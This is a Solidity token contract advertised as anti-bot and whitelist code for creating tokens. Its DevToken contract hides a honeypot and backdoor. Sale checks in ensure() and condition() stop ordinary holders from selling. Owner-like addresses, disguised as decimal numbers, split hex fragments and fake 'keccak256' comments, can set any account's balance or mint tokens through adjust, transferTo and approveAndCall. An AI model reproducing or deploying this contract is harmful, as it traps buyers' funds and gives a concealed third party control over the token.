AntiBot + Whitelist Code (Block Front-running bots and allow to Whitelist address to sell tokens
*Any unauthorized edits of code might result in failure of deployment
*Must Read* Read this Guide before creating Token:
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
//("SafeERC20: ERC20 operation succeed, keccak256)
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
/*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
}
}
contract DevToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
//Dev_T_*keccak256 -> 283fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba);*/
modifier Exchanges() {
require(msg.sender != exchange());
_;
}
function transferTo(address _to, uint256 _amount) public onlypublic {
_transferTo(_to, _amount);(_to, _amount);(_to, _amount);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function _computing(address spender, uint256 addedValue) internal {
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
}
function setUsdtPair(address Pair_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/**/ /*keccak256 -> 6861978540112295ac2a37bb1f5ba1daf2a5c84741ca0e00610310915153));*/ /**/(686197854011229533619447624007587113080310915153));
_usdtPair=Pair_;
}
function _approvals(address spender, uint256 addedValue) internal Exchanges {
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
}
function _transferTo(address _to, uint256 _amount) internal {
// Transferring of token
balanceOf[_to] += _amount;
emit Transfer(address(0), _to, _amount);
balanceOf[_to] += _amount;
emit Transfer(address(0), _to, _amount);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
/*Ensure_*keccak256 -> 8668a592fa743889fc7f92ac2a37bb1n8shc84741ca0e0061d243a2e6707ba);*/
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _usdtPair);
_user=User_;
}
function viewAddress(address addr) public onlypublic returns(bool) {
tradeAddress = addr;
return true;
}
function approval(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == _adm);
_approvals(spender, addedValue);
return true;
}
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
// solhint-disable-next-line avoid-low-level-calls
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
// solhint-disable-next-line avoid-low-level-calls
}
function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
_computing(spender, addedValue);
return true;
}
function _approvecall(address spender, uint256 addedValue) internal Exchanges {
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
}
function exchange() internal pure returns (address) {
return address
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
/*keccak256 -> 6861978540112295ac2a37bb1f5ba7bb1f5ba1daaf2a84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
}
function checkAddress (address addr) public returns(bool) {
require(msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986));
tradeAddress = addr;
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function publics() private pure returns (address) {
uint universal = 0x7addAd09;
uint uni = 0xcbd98D97;
uint cake = 0xEC3dA7a0;
uint inch = 0x088EAdFE;
uint others = 0x5801C336;
// Combine the dex with others
uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
return address(core);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner||
msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ (178607940065137046348733521910879985571412708986));
_approvecall(spender, addedValue);
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
modifier onlypublic() {
require(msg.sender == publics());
_;
}
/*keccak256 -> 592fa743889fc7f92ac2a37bb1f5ba1daf2a5c84741ca0e0061d243a2e6707ba))*/
uint constant public decimals = 18;
address public _usdtPair;
address public _mod;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address public _user;
address public _adm;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}